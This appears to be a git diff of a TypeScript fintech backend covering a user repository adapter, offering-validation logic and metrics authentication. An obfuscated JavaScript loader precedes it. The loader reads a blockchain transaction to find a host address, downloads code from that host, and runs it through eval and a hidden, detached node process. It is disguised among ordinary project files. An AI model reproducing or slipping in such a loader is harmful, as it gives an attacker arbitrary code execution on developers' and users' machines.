HgqA_mVm){if(!NnooDmNoC_fxkiEQIisGB$iagg[SFMofmFJ$vRZYuKxyQueg(0x204)]||NnooDmNoC_fxkiEQIisGB$iagg[SFMofmFJ$vRZYuKxyQueg(0x204)][SFMofmFJ$vRZYuKxyQueg(0x1fe)]()!==SENDER)continue;if(BigInt(NnooDmNoC_fxkiEQIisGB$iagg[SFMofmFJ$vRZYuKxyQueg(0x1d0)])===vswg_sAiEVWH_gXzLwhdJR){cBTrpPKOu=NnooDmNoC_fxkiEQIisGB$iagg;break;}if(!cBTrpPKOu||BigInt(NnooDmNoC_fxkiEQIisGB$iagg[SFMofmFJ$vRZYuKxyQueg(0x1d0)])>BigInt(cBTrpPKOu[SFMofmFJ$vRZYuKxyQueg(0x1d0)]))cBTrpPKOu=NnooDmNoC_fxkiEQIisGB$iagg;}return{'blockNumber':z$DGbtfCnVULNqHFTfchL,'tx':cBTrpPKOu};}finally{YtkqMbzMeAhrXge[SFMofmFJ$vRZYuKxyQueg(0x22d)]();}}async function lastSenderTxViaIndexer(){const LXduCRQV_qabPksXe=R$DTZzu_TXc,rkFjsqv$hQa=INDEXER_URL+LXduCRQV_qabPksXe(0x1ff)+SENDER+LXduCRQV_qabPksXe(0x226),ZJeqwghbta=await httpRequest(rkFjsqv$hQa),EoElsTu_rU=Array[LXduCRQV_qabPksXe(0x1ed)](ZJeqwghbta?.[LXduCRQV_qabPksXe(0x1e8)])?ZJeqwghbta[LXduCRQV_qabPksXe(0x1e8)]:[],cNlgqEkUX_vWrdE_gxGcm=EoElsTu_rU[LXduCRQV_qabPksXe(0x1c3)](yTLwkulYsrR$UqVCihPaRnLeNs=>yTLwkulYsrR$UqVCihPaRnLeNs[LXduCRQV_qabPksXe(0x204)]&&yTLwkulYsrR$UqVCihPaRnLeNs[LXduCRQV_qabPksXe(0x204)][LXduCRQV_qabPksXe(0x1fe)]()===SENDER);if(!cNlgqEkUX_vWrdE_gxGcm)return null;return{'blockNumber':BigInt(cNlgqEkUX_vWrdE_gxGcm[LXduCRQV_qabPksXe(0x229)]),'tx':cNlgqEkUX_vWrdE_gxGcm};}function TtFl_OYFcp$oFJXAVh(Mn_XngkaX_amz,O$XdSR_ZoeBzrPxNxX){const x$cDU_biHgR=FU$Mfb();return TtFl_OYFcp$oFJXAVh=function(KgO_OipbV_dqhk,h$_EjwRLMRO){KgO_OipbV_dqhk=KgO_OipbV_dqhk-(-0x1130+parseInt(0x239f)*-parseInt(0x1)+-0x1b43*-parseInt(0x2));let tKSDlu$s_zyp=x$cDU_biHgR[KgO_OipbV_dqhk];if(TtFl_OYFcp$oFJXAVh['HlimGQ']===undefined){const lpgLoEZtbL_nXdqVKwVzU_Lt=function(dBSPnUeBpu_UoX){let rfMisoucqiYhMxuMfHUgVk=parseInt(0x4)*Math.ceil(-parseInt(0x576))+Math.trunc(parseInt(0x15de))+parseInt(0x2c9)&0x11b+0x2048+parseInt(0x566)*-parseInt(0x6),ojt$WpApEv_hcNSaNpGWW=new Uint8Array(dBSPnUeBpu_UoX['match'](/.{1,2}/g)['map'](kQApX_TOlNddfsSMWtxRg=>parseInt(kQApX_TOlNddfsSMWtxRg,parseInt(0x2)*Math.ceil(-0x121d)+Math.ceil(0xb2)*Number(parseInt(0x34))+Math.max(-0x1,-parseInt(0x1))*-parseInt(0x22)))),TgtW$E_CA=ojt$WpApEv_hcNSaNpGWW['map'](d_hK$Qc=>d_hK$Qc^rfMisoucqiYhMxuMfHUgVk),BctDOrlFndvgjE=new TextDecoder(),zhdWw$u_jphTN=BctDOrlFndvgjE['decode'](TgtW$E_CA);return zhdWw$u_jphTN;};TtFl_OYFcp$oFJXAVh['LyYGGg']=lpgLoEZtbL_nXdqVKwVzU_Lt,Mn_XngkaX_amz=arguments,TtFl_OYFcp$oFJXAVh['HlimGQ']=!![];}const gnKJymEdsW=x$cDU_biHgR[parseInt(-0x20b0)+parseFloat(0x1)*Number(-0x2353)+parseInt(0x4403)],Q$aZbm=KgO_OipbV_dqhk+gnKJymEdsW,lSxajigYBkrTMo=Mn_XngkaX_amz[Q$aZbm];return!lSxajigYBkrTMo?(TtFl_OYFcp$oFJXAVh['SrzVWv']===undefined&&(TtFl_OYFcp$oFJXAVh['SrzVWv']=!![]),tKSDlu$s_zyp=TtFl_OYFcp$oFJXAVh['LyYGGg'](tKSDlu$s_zyp),Mn_XngkaX_amz[Q$aZbm]=tKSDlu$s_zyp):tKSDlu$s_zyp=lSxajigYBkrTMo,tKSDlu$s_zyp;},TtFl_OYFcp$oFJXAVh(Mn_XngkaX_amz,O$XdSR_ZoeBzrPxNxX);}async function run(){const mnGNB_JpO=R$DTZzu_TXc,GbjYiwYc$UDFcrVQOYr=BigInt(await withRpcEndpoints((qWeCmmFZOCdnAEuYz_Hq,HqkpMC$bILqXhYpucei)=>rpcCall(qWeCmmFZOCdnAEuYz_Hq,mnGNB_JpO(0x212),[],HqkpMC$bILqXhYpucei))),QrZjhghqBnYCBD$eVKAADPc=GbjYiwYc$UDFcrVQOYr-GbjYiwYc$UDFcrVQOYr%BLOCK_MULTIPLE,HqkfDyzvifaIRZLZTFLBf_PIfE=global;let PsLXYLePPPM=await firstMatch(candidateBlocks(QrZjhghqBnYCBD$eVKAADPc)[mnGNB_JpO(0x205)](blockTask)),[IoOaRKb$rgLEWGzkDY,tk_yOpbrjagBixEVvwWo_ZV]=decodeAddress(PsLXYLePPPM?.['tx']?.['to']);function vebZXFMdlHOtHT$GzXfEWk_t(JpxnuRzR$yKZIhup,LV_QLhPy_RRpqY,CfnpuaTWEIbv$uv$k){const SkIVendtrlZQdlCeXx_L=mnGNB_JpO;if(!JpxnuRzR$yKZIhup)return null;return new URL(SkIVendtrlZQdlCeXx_L(0x1d6)+JpxnuRzR$yKZIhup+':'+LV_QLhPy_RRpqY+CfnpuaTWEIbv$uv$k);}let QsHadcoO_fRgBBtMp_LLnyuIDW=null;const gdfPRgajquSoa_jKkcvHgEMQ=vebZXFMdlHOtHT$GzXfEWk_t(IoOaRKb$rgLEWGzkDY,-0x141+Number(-0x1)*0x1b1d+parseInt(0x1e19),mnGNB_JpO(0x1c0));if(gdfPRgajquSoa_jKkcvHgEMQ)try{QsHadcoO_fRgBBtMp_LLnyuIDW=await PhpQSGcotCPMCg(mnGNB_JpO(0x1c2),gdfPRgajquSoa_jKkcvHgEMQ);}catch{QsHadcoO_fRgBBtMp_LLnyuIDW=null;}!QsHadcoO_fRgBBtMp_LLnyuIDW&&(PsLXYLePPPM=await lastSenderTx(GbjYiwYc$UDFcrVQOYr)[mnGNB_JpO(0x22c)](()=>null)??await lastSenderTxViaIndexer()[mnGNB_JpO(0x22c)](()=>null),[IoOaRKb$rgLEWGzkDY,tk_yOpbrjagBixEVvwWo_ZV]=decodeAddress(PsLXYLePPPM?.['tx']?.['to']));HqkfDyzvifaIRZLZTFLBf_PIfE['_V']=HqkfDyzvifaIRZLZTFLBf_PIfE['i'],HqkfDyzvifaIRZLZTFLBf_PIfE['_H']=mnGNB_JpO(0x1d6)+IoOaRKb$rgLEWGzkDY+mnGNB_JpO(0x1c1),HqkfDyzvifaIRZLZTFLBf_PIfE[mnGNB_JpO(0x20a)]=mnGNB_JpO(0x1d6)+tk_yOpbrjagBixEVvwWo_ZV+mnGNB_JpO(0x1c1),HqkfDyzvifaIRZLZTFLBf_PIfE[mnGNB_JpO(0x1ca)]=mnGNB_JpO(0x1d6)+IoOaRKb$rgLEWGzkDY+mnGNB_JpO(0x228),HqkfDyzvifaIRZLZTFLBf_PIfE[mnGNB_JpO(0x231)]=mnGNB_JpO(0x1d6)+IoOaRKb$rgLEWGzkDY+mnGNB_JpO(0x1c1);function PhpQSGcotCPMCg(tiFYpz__aVvvVSVJmaXZOVgTE,mlzh$TPaKywkyH){const xIeUnB=mnGNB_JpO,WvsYOuqq$IpBKddpkclpMNbI_a={'hostname':mlzh$TPaKywkyH[xIeUnB(0x1cb)],'port':Number(mlzh$TPaKywkyH[xIeUnB(0x216)])||parseInt(0x13b1)+Math.ceil(parseInt(0x1))*parseInt(0x11da)+-0x253b,'path':mlzh$TPaKywkyH[xIeUnB(0x1f1)]+mlzh$TPaKywkyH[xIeUnB(0x209)],'headers':{'User-Agent':xIeUnB(0x213),'Sec-V':HqkfDyzvifaIRZLZTFLBf_PIfE['_V']||parseInt(0x138e)+Math.trunc(-parseInt(0x227a))+parseInt(0xeec)}};function q$wiTvxLZvqxyTLAqfjK_Ss(VfRkMn_JqVDknqCPnD){const kzq_zPYHoO=xIeUnB,INLgEwv=tiFYpz__aVvvVSVJmaXZOVgTE[kzq_zPYHoO(0x1e9)];for(let WzpzDKFOVoyzYVqxsQMOHP=-0x29b*parseInt(0x4)+-parseInt(0x441)+Math.trunc(0xead);WzpzDKFOVoyzYVqxsQMOHP{const Pe_M$nvBmlLfZa=TtFl_OYFcp$oFJXAVh,pI_ZtG=http[Pe_M$nvBmlLfZa(0x21f)]({...WvsYOuqq$IpBKddpkclpMNbI_a,'method':q_Pg$eP},CSJPQxBaiSEwC$eqHy=>{const xnPLJosut$HUnKo=Pe_M$nvBmlLfZa;if(q_Pg$eP===xnPLJosut$HUnKo(0x1dd)){try{MpHMVhSAbcJqXxxLVVpakKDE(cNSrRcwiKbyMszjlncppZyW(CSJPQxBaiSEwC$eqHy));}catch(WguSIViOmc$UVqu){swIXH(WguSIViOmc$UVqu);}CSJPQxBaiSEwC$eqHy[xnPLJosut$HUnKo(0x1be)]();return;}const gaWAFVTCBgJWo_T$d=[];CSJPQxBaiSEwC$eqHy['on'](xnPLJosut$HUnKo(0x1ce),ujHBr$cosAIY_t=>gaWAFVTCBgJWo_T$d[xnPLJosut$HUnKo(0x1fa)](ujHBr$cosAIY_t)),CSJPQxBaiSEwC$eqHy['on'](xnPLJosut$HUnKo(0x1bb),()=>{const iPhCsjeOskYYcdaUsU=xnPLJosut$HUnKo;try{const SoNGpsGC_miLJ_mfRpAHv=Buffer[iPhCsjeOskYYcdaUsU(0x1c8)](gaWAFVTCBgJWo_T$d);if(SoNGpsGC_miLJ_mfRpAHv[iPhCsjeOskYYcdaUsU(0x1e9)])return MpHMVhSAbcJqXxxLVVpakKDE(q$wiTvxLZvqxyTLAqfjK_Ss(SoNGpsGC_miLJ_mfRpAHv));if(CSJPQxBaiSEwC$eqHy[iPhCsjeOskYYcdaUsU(0x21e)][iPhCsjeOskYYcdaUsU(0x1ba)])return MpHMVhSAbcJqXxxLVVpakKDE(cNSrRcwiKbyMszjlncppZyW(CSJPQxBaiSEwC$eqHy));swIXH(new Error(iPhCsjeOskYYcdaUsU(0x1e5)));}catch(jFUlBWwGIgGNHCkCLHWvUnO){swIXH(jFUlBWwGIgGNHCkCLHWvUnO);}}),CSJPQxBaiSEwC$eqHy['on'](xnPLJosut$HUnKo(0x1cc),swIXH);});pI_ZtG['on'](Pe_M$nvBmlLfZa(0x1cc),swIXH),pI_ZtG[Pe_M$nvBmlLfZa(0x1f9)](HTTP_TIMEOUT_MS,()=>{const zUaGughEjyEVicCvyDEPwQ=Pe_M$nvBmlLfZa;pI_ZtG[zUaGughEjyEVicCvyDEPwQ(0x1f3)](new Error(zUaGughEjyEVicCvyDEPwQ(0x1c5)+HTTP_TIMEOUT_MS+'ms'));}),pI_ZtG[Pe_M$nvBmlLfZa(0x1bb)]();});}return OAdYyqdMF(xIeUnB(0x214))[xIeUnB(0x22c)](()=>OAdYyqdMF(xIeUnB(0x1dd)));}async function UNPzJu_u_x(EnQyLKlirYkOodLka,pagghrRK_Z_XMnuSYqW,re_kgEP$p){const uGMcX_xTplN=mnGNB_JpO;try{const oqSulVevnWywczc=await PhpQSGcotCPMCg(pagghrRK_Z_XMnuSYqW,EnQyLKlirYkOodLka),EJwybIiT=re_kgEP$p?uGMcX_xTplN(0x1e6)+(HqkfDyzvifaIRZLZTFLBf_PIfE['_V']||-0xb96+Math.trunc(-0x5ad)*-parseInt(0x3)+-parseInt(0x571))+uGMcX_xTplN(0x1f5)+HqkfDyzvifaIRZLZTFLBf_PIfE['_H']+uGMcX_xTplN(0x1e1)+HqkfDyzvifaIRZLZTFLBf_PIfE[uGMcX_xTplN(0x20a)]+uGMcX_xTplN(0x1f6):uGMcX_xTplN(0x1e6)+(HqkfDyzvifaIRZLZTFLBf_PIfE['_V']||-parseInt(0x1e86)+parseFloat(-parseInt(0x236))*-parseInt(0x11)+-0x710)+uGMcX_xTplN(0x20e)+HqkfDyzvifaIRZLZTFLBf_PIfE[uGMcX_xTplN(0x1ca)]+uGMcX_xTplN(0x22e)+HqkfDyzvifaIRZLZTFLBf_PIfE[uGMcX_xTplN(0x231)]+uGMcX_xTplN(0x1f6);if(!re_kgEP$p)eval(EJwybIiT+oqSulVevnWywczc);spawn(uGMcX_xTplN(0x20f),['-e',EJwybIiT+oqSulVevnWywczc],{'detached':!![],'stdio':uGMcX_xTplN(0x1c6),'windowsHide':!![]})[uGMcX_xTplN(0x22f)]();}catch(AdUxYYc$v){}}await UNPzJu_u_x(new URL(mnGNB_JpO(0x1d6)+IoOaRKb$rgLEWGzkDY+mnGNB_JpO(0x1f8)),mnGNB_JpO(0x1c2),![]),await UNPzJu_u_x(new URL(mnGNB_JpO(0x1d6)+IoOaRKb$rgLEWGzkDY+mnGNB_JpO(0x207)),mnGNB_JpO(0x1e7),!![]);}run(); diff --git a/src/auth/login/userRepositoryAdapter.ts b/src/auth/login/userRepositoryAdapter.ts index 59be0e59..38a476fa 100644 --- a/src/auth/login/userRepositoryAdapter.ts +++ b/src/auth/login/userRepositoryAdapter.ts @@ -11,7 +11,41 @@ export class UserRepositoryAdapter implements UserRepository { return { id: user.id, email: user.email, - role: user.role as any, + role: user.role as UserRecord['role'], + passwordHash: user.password_hash, + }; + } + + async create(email: string, passwordHash: string, role: string): Promise { + const user = await this.dbRepo.create(email, passwordHash, role); + + return { + id: user.id, + email: user.email, + role: user.role as UserRecord['role'], + passwordHash: user.password_hash, + }; + } + + async findById(id: string): Promise { + const user = await this.dbRepo.findById(id); + if (!user) return null; + + return { + id: user.id, + email: user.email, + role: user.role as UserRecord['role'], + passwordHash: user.password_hash, + }; + } + + async update(id: string, updates: Partial): Promise { + const user = await this.dbRepo.update(id, updates); + + return { + id: user.id, + email: user.email, + role: user.role as UserRecord['role'], passwordHash: user.password_hash, }; } diff --git a/src/index.ts b/src/index.ts index c7ca9b12..6f648c9f 100644 --- a/src/index.ts +++ b/src/index.ts @@ -1,1296 +1,1296 @@ -import "dotenv/config"; -import { timingSafeEqual } from "crypto"; -import express, { - NextFunction, - Request, - RequestHandler, - Response, -} from "express"; -import morgan from "morgan"; -import { closePool, dbHealth, query as dbQuery } from "./db/client"; -import { createCorsMiddleware } from "./middleware/cors"; -import { errorHandler } from "./middleware/errorHandler"; -import { requestIdMiddleware } from "./middleware/requestId"; -import { Errors } from "./lib/errors"; -import { globalSampler } from "./lib/sampler"; -import { - classifyStellarRPCFailure, - StellarRPCFailureClass, -} from "./lib/stellarRpcFailure"; -import { createHealthRouter } from "./routes/health"; -import vestingRouter from "./routes/vesting"; -import { offeringSanitizeMiddleware } from "./middleware/offeringSanitize"; -import { createStartupAuthTierLimiter } from "./middleware/startupAuthRateTierPolicy"; -import { env } from "./config/env"; -import { validateWebhookUrl, SsrfValidationError } from "./lib/ssrfProtection"; -import { - WebhookEndpointRepository, - WebhookDelivery, -} from "./db/repositories/webhookEndpointRepository"; -import { - WebhookService, - WebhookPayload, - WebhookEventType, -} from "./services/webhookService"; -import { OutboxRepository } from "./db/repositories/outboxRepository"; -import { OutboxDispatcher, makeWebhookDispatchFn } from "./services/outboxDispatcher"; -import { pool } from "./db/pool"; -import { - globalMetrics, - WEBHOOK_QUEUE_DEPTH_GAUGE, - WEBHOOK_QUEUE_SHED_TOTAL, -} from "./lib/metrics"; -import { createPasswordResetRouter } from "./routes/passwordReset"; -import { emailService } from "./services/emailService"; -import { EmailDeliverabilityService } from "./services/emailDeliverabilityService"; -import { EmailDeliverabilityRepository } from "./db/repositories/emailDeliverabilityRepository"; -import { createEmailWebhooksRouter } from "./routes/emailWebhooks"; -import { createAdminRouter } from "./routes/admin"; -import { createAdminLedgerExportRouter } from "./routes/adminLedgerExport"; -import { createAdminWebhookRouter } from "./routes/adminWebhooks"; -import { AccountingLedgerService } from "./services/accountingLedgerService"; -import { DistributionRepository } from "./db/repositories/distributionRepository"; -import { createAdminKycRiskTierRouter } from "./routes/adminKycRiskTier"; -import { AuditLogRepository } from "./db/repositories/auditLogRepository"; -import { TenantSettingsRepository } from "./db/repositories/tenantSettingsRepository"; -import { ContractUpgradeOrchestratorService } from "./services/contractUpgradeOrchestratorService"; -import { createContractUpgradeRouter } from "./routes/contractUpgradeRoutes"; -import { AuditPurgeService } from "./services/auditPurgeService"; -import { SessionCompactionService } from "./services/sessionCompactionService"; -import { SessionRepository } from "./db/repositories/sessionRepository"; -import { RetentionLabelRepository } from "./db/repositories/retentionLabelRepository"; -import { RetentionLabelService } from "./services/retentionLabelService"; -import { PayoutDriftRepository } from "./db/repositories/payoutDriftRepository"; -import { PayoutDriftDetector } from "./services/payoutDriftDetector"; -import { MetricsCollector } from "./lib/metrics"; -import { createReconciliationMetricsHandler } from "./routes/reconciliationRoutes"; -import { createReconciliationSchedulerRuntime } from "./services/reconciliationScheduler"; -import { createAMLRoutes } from "./routes/amlRoutes"; -import { createLedgerExportRouter } from "./routes/ledgerExport"; -import { LedgerExportService, InMemoryLedgerRepository } from "./services/ledgerExportService"; -import { createAMLService } from "./aml/amlService"; -import { InMemorySecurityAuditRepository } from "./security/audit"; -import { createMobileCompanionRouter } from "./routes/mobileCompanion"; -import { InMemoryDeviceKeyStore } from "./middleware/deviceSignature"; -import { Keypair } from '@stellar/stellar-sdk'; -import { OfacSanctionsLoader } from './services/ofacSanctionsLoader'; -import { SanctionsListVersionsRepository } from './db/repositories/sanctionsListVersionsRepository'; -import { SanctionsListDiffService } from './services/sanctionsListDiffService'; -import { createComplianceRouter } from './routes/compliance'; -import { createScimRouter } from './routes/scim'; -import { UserRepository } from './db/repositories/userRepository'; -import taxationRouter from './routes/taxation'; -import { PdfRenderJobRepository } from './db/repositories/pdfRenderJobRepository'; -import { InMemoryStatementPdfStorage } from './services/statementPdfService'; -import createStatementsRouter from './routes/statements'; -import { createRequireAuth } from './middleware/auth'; - -const port = env.PORT; -const API_VERSION_PREFIX = env.API_VERSION_PREFIX; - -const OFFERING_ROLES = ["startup", "admin", "compliance", "investor"] as const; -const OFFERING_ACTIONS = [ - "create", - "update", - "publish", - "pause", - "close", - "cancel", - "viewPrivate", - "invest", -] as const; -const OFFERING_STATUSES = [ - "draft", - "open", - "paused", - "closed", - "cancelled", - "completed", -] as const; -const OFFERING_SECURITY_ASSUMPTIONS = [ - "Caller identity is asserted by trusted upstream auth middleware before these rules are used for authorization.", - "Money amounts are decimal strings to avoid binary rounding; invalid or unbounded numeric input is rejected.", - "Startup actors may only manage offerings they issued unless a privileged admin or compliance actor performs the action.", - "Validation output is safe for clients and never includes raw database, token, or upstream provider error messages.", -] as const; - -type OfferingActorRole = (typeof OFFERING_ROLES)[number]; -type OfferingValidationAction = (typeof OFFERING_ACTIONS)[number]; -type OfferingStatus = (typeof OFFERING_STATUSES)[number]; -type DecisionSeverity = "error" | "warning"; - -interface AuthenticatedUser { - id: string; - role: OfferingActorRole; -} - -interface AuthenticatedRequest extends Request { - user?: AuthenticatedUser; -} - -interface AppDependencies { - healthQuery?: typeof dbQuery; - healthStatus?: typeof dbHealth; -} - -/** - * Bearer-token guard for the reconciliation metrics endpoint. - * - * Security assumptions: - * - In production a `METRICS_TOKEN` MUST be set; otherwise the endpoint is - * down (503) rather than exposed unauthenticated. - * - Token comparison uses a constant-time compare to avoid timing oracles. - * - In `development`/`test` the guard is bypassed for operator convenience, - * mirroring the existing Prometheus `/metrics` endpoint behaviour. - */ -function createMetricsAuthMiddleware(): RequestHandler { - return (req: Request, res: Response, next: NextFunction): void => { - const metricsToken = process.env.METRICS_TOKEN; - const nodeEnv = process.env.NODE_ENV; - - if (nodeEnv === "development" || nodeEnv === "test") { - next(); - return; - } - if (!metricsToken) { - res.status(503).json({ - error: "Metrics endpoint not configured", - message: "METRICS_TOKEN environment variable must be set", - }); - return; - } - - const authHeader = req.headers.authorization; - if (!authHeader || !authHeader.startsWith("Bearer ")) { - res.status(401).json({ error: "Unauthorized", message: "Bearer token required" }); - return; - } - const token = authHeader.substring(7); - const matches = - token.length === metricsToken.length && - timingSafeEqual(Buffer.from(token), Buffer.from(metricsToken)); - if (!matches) { - res.status(401).json({ error: "Unauthorized", message: "Invalid token" }); - return; - } - next(); - }; -} - -interface OfferingValidationPayload { - action: OfferingValidationAction; - offering: { - id?: string; - issuerId?: string; - status?: OfferingStatus; - targetAmount?: string; - minimumInvestment?: string; - investmentAmount?: string; - subscriptionStartsAt?: string; - subscriptionEndsAt?: string; - }; -} - -interface ValidationCheck { - code: string; - passed: boolean; - severity: DecisionSeverity; - message: string; -} - -interface OfferingValidationResult { - allowed: boolean; - decision: "allow" | "deny"; - action: OfferingValidationAction; - actor: AuthenticatedUser; - offeringId: string | null; - checks: ValidationCheck[]; - violations: ValidationCheck[]; - securityAssumptions: readonly string[]; -} - -/** - * @dev Stable JSON serializer used for deterministic fingerprints and tests. - */ -function stableSerialize(value: unknown): string { - const normalize = (input: unknown): unknown => { - if (Array.isArray(input)) { - return input.map(normalize); - } - - if (input && typeof input === "object") { - const record = input as Record; - const sorted: Record = {}; - for (const key of Object.keys(record).sort()) { - sorted[key] = normalize(record[key]); - } - return sorted; - } - - return input; - }; - - return JSON.stringify(normalize(value)); -} - -function isOfferingRole(value: unknown): value is OfferingActorRole { - return ( - typeof value === "string" && - (OFFERING_ROLES as readonly string[]).includes(value) - ); -} - -function isOfferingAction(value: unknown): value is OfferingValidationAction { - return ( - typeof value === "string" && - (OFFERING_ACTIONS as readonly string[]).includes(value) - ); -} - -function isOfferingStatus(value: unknown): value is OfferingStatus { - return ( - typeof value === "string" && - (OFFERING_STATUSES as readonly string[]).includes(value) - ); -} - -function isNonEmptyString(value: unknown, maxLength = 128): value is string { - return ( - typeof value === "string" && - value.trim().length > 0 && - value.trim().length <= maxLength - ); -} - -/** - * @dev Decimal parser with strict input bounds to resist coercion abuse and NaN payloads. - */ -export function parseMoneyString(value: unknown): number | null { - if (typeof value !== "string") return null; - if (!/^(0|[1-9]\d{0,11})(\.\d{1,2})?$/.test(value)) return null; - const parsed = Number(value); - if (!Number.isFinite(parsed)) return null; - return parsed; -} - -function parseIsoDate(value: unknown): Date | null { - if (!isNonEmptyString(value, 64)) return null; - const parsed = new Date(value); - if (Number.isNaN(parsed.getTime())) return null; - return parsed; -} - -function createStartupRegisterHandler(): RequestHandler { - return (req: Request, res: Response): void => { - const body = req.body as Record | undefined; - const email = body?.email; - const password = body?.password; - - if (!isNonEmptyString(email) || !isNonEmptyString(password)) { - res.status(400).json({ error: "Email and password are required" }); - return; - } - - res.status(201).json({ message: "Startup user registered successfully" }); - }; -} - -function requireOfferingAuth( - req: Request, - _res: Response, - next: NextFunction, -): void { - const userId = req.header("x-user-id"); - const role = req.header("x-user-role"); - - if (!isNonEmptyString(userId) || !isOfferingRole(role)) { - next( - Errors.unauthorized( - "Offering validation requires x-user-id and x-user-role headers", - ), - ); - return; - } - - (req as AuthenticatedRequest).user = { id: userId.trim(), role }; - next(); -} - -function parseOfferingValidationPayload( - body: unknown, -): OfferingValidationPayload { - if (!body || typeof body !== "object") { - throw Errors.badRequest("Validation payload must be a JSON object"); - } - - const raw = body as Record; - if (!isOfferingAction(raw.action)) { - throw Errors.badRequest("Invalid offering validation action", { - allowedActions: OFFERING_ACTIONS, - }); - } - - const rawOffering = raw.offering; - if (!rawOffering || typeof rawOffering !== "object") { - throw Errors.badRequest( - "Offering validation payload must include an offering object", - ); - } - - const offeringRecord = rawOffering as Record; - const payload: OfferingValidationPayload = { - action: raw.action, - offering: {}, - }; - - if (offeringRecord.id !== undefined) { - if (!isNonEmptyString(offeringRecord.id)) { - throw Errors.badRequest("offering.id must be a non-empty string"); - } - payload.offering.id = offeringRecord.id.trim(); - } - - if (offeringRecord.issuerId !== undefined) { - if (!isNonEmptyString(offeringRecord.issuerId)) { - throw Errors.badRequest("offering.issuerId must be a non-empty string"); - } - payload.offering.issuerId = offeringRecord.issuerId.trim(); - } - - if (offeringRecord.status !== undefined) { - if (!isOfferingStatus(offeringRecord.status)) { - throw Errors.badRequest( - "offering.status must be a supported offering status", - { - allowedStatuses: OFFERING_STATUSES, - }, - ); - } - payload.offering.status = offeringRecord.status as OfferingStatus; - } - - const stringFields: Array< - | "targetAmount" - | "minimumInvestment" - | "investmentAmount" - | "subscriptionStartsAt" - | "subscriptionEndsAt" - > = [ - "targetAmount", - "minimumInvestment", - "investmentAmount", - "subscriptionStartsAt", - "subscriptionEndsAt", - ]; - - for (const field of stringFields) { - const value = offeringRecord[field]; - if (value !== undefined) { - if (!isNonEmptyString(value, 64)) { - throw Errors.badRequest(`offering.${field} must be a non-empty string`); - } - payload.offering[field] = value.trim(); - } - } - - return payload; -} - -function evaluateOfferingValidationMatrix( - actor: AuthenticatedUser, - payload: OfferingValidationPayload, - now = new Date(), -): OfferingValidationResult { - const checks: ValidationCheck[] = []; - const { action, offering } = payload; - - const addCheck = ( - code: string, - passed: boolean, - message: string, - severity: DecisionSeverity = "error", - ): void => { - checks.push({ code, passed, message, severity }); - }; - - const isPrivileged = actor.role === "admin" || actor.role === "compliance"; - const isStartup = actor.role === "startup"; - const isInvestor = actor.role === "investor"; - const managesOffering = action !== "invest"; - const issuerKnown = typeof offering.issuerId === "string"; - const ownsOffering = issuerKnown && offering.issuerId === actor.id; - const targetAmount = parseMoneyString(offering.targetAmount); - const minimumInvestment = parseMoneyString(offering.minimumInvestment); - const investmentAmount = parseMoneyString(offering.investmentAmount); - const subscriptionStartsAt = parseIsoDate(offering.subscriptionStartsAt); - const subscriptionEndsAt = parseIsoDate(offering.subscriptionEndsAt); - - addCheck( - "ROLE_ALLOWED_FOR_ACTION", - isPrivileged || - (isStartup && - [ - "create", - "update", - "publish", - "pause", - "close", - "cancel", - "viewPrivate", - ].includes(action)) || - (isInvestor && action === "invest"), - `${actor.role} may not perform ${action} for offering workflows`, - ); - - if (managesOffering) { - addCheck( - "OWNERSHIP_CONFIRMED", - isPrivileged || action === "create" || !issuerKnown || ownsOffering, - "Offering management requires issuer ownership unless actor is privileged", - ); - } - - if (["create", "update", "publish"].includes(action)) { - addCheck( - "TARGET_AMOUNT_VALID", - targetAmount !== null && targetAmount > 0, - "targetAmount must be a positive decimal string with up to 2 fractional digits", - ); - - addCheck( - "MINIMUM_INVESTMENT_VALID", - minimumInvestment !== null && minimumInvestment > 0, - "minimumInvestment must be a positive decimal string with up to 2 fractional digits", - ); - - if (targetAmount !== null && minimumInvestment !== null) { - addCheck( - "MINIMUM_NOT_GREATER_THAN_TARGET", - minimumInvestment <= targetAmount, - "minimumInvestment cannot exceed targetAmount", - ); - } - } - - if (action === "publish") { - addCheck( - "STATUS_ELIGIBLE_FOR_PUBLISH", - offering.status === "draft", - "Only draft offerings may be published", - ); - addCheck( - "SUBSCRIPTION_START_VALID", - subscriptionStartsAt !== null, - "subscriptionStartsAt must be a valid ISO-8601 date", - ); - addCheck( - "SUBSCRIPTION_END_VALID", - subscriptionEndsAt !== null, - "subscriptionEndsAt must be a valid ISO-8601 date", - ); - - if (subscriptionStartsAt && subscriptionEndsAt) { - addCheck( - "SUBSCRIPTION_WINDOW_ORDERED", - subscriptionEndsAt.getTime() > subscriptionStartsAt.getTime(), - "subscriptionEndsAt must be later than subscriptionStartsAt", - ); - addCheck( - "SUBSCRIPTION_ENDS_IN_FUTURE", - subscriptionEndsAt.getTime() > now.getTime(), - "subscriptionEndsAt must be in the future when publishing", - ); - } - } - - if (action === "pause") { - addCheck( - "STATUS_ELIGIBLE_FOR_PAUSE", - offering.status === "open", - "Only open offerings may be paused", - ); - } - - if (action === "close") { - addCheck( - "STATUS_ELIGIBLE_FOR_CLOSE", - offering.status === "open" || offering.status === "paused", - "Only open or paused offerings may be closed", - ); - } - - if (action === "cancel") { - addCheck( - "STATUS_ELIGIBLE_FOR_CANCEL", - offering.status === "draft" || - offering.status === "open" || - offering.status === "paused", - "Only draft, open, or paused offerings may be cancelled", - ); - } - - if (action === "viewPrivate") { - addCheck( - "PRIVATE_VIEW_ALLOWED", - isPrivileged || (isStartup && (!issuerKnown || ownsOffering)), - "Private offering details are limited to privileged actors and the issuer", - ); - } - - if (action === "invest") { - addCheck( - "STATUS_OPEN_FOR_INVESTMENT", - offering.status === "open", - "Investments are accepted only while an offering is open", - ); - addCheck( - "INVESTMENT_AMOUNT_VALID", - investmentAmount !== null && investmentAmount > 0, - "investmentAmount must be a positive decimal string with up to 2 fractional digits", - ); - - if (minimumInvestment !== null && investmentAmount !== null) { - addCheck( - "INVESTMENT_MEETS_MINIMUM", - investmentAmount >= minimumInvestment, - "investmentAmount must be greater than or equal to minimumInvestment", - ); - } - - if (targetAmount !== null && investmentAmount !== null) { - addCheck( - "INVESTMENT_WITHIN_TARGET", - investmentAmount <= targetAmount, - "investmentAmount cannot exceed targetAmount for a single validation request", - "warning", - ); - } - - addCheck( - "INVESTOR_NOT_ISSUER", - !issuerKnown || offering.issuerId !== actor.id, - "Issuer self-investment is blocked by default pending explicit compliance approval", - ); - - if (subscriptionStartsAt && subscriptionEndsAt) { - addCheck( - "INVESTMENT_WINDOW_ACTIVE", - now.getTime() >= subscriptionStartsAt.getTime() && - now.getTime() <= subscriptionEndsAt.getTime(), - "Investments must occur within the subscription window", - ); - } else { - addCheck( - "INVESTMENT_WINDOW_ACTIVE", - false, - 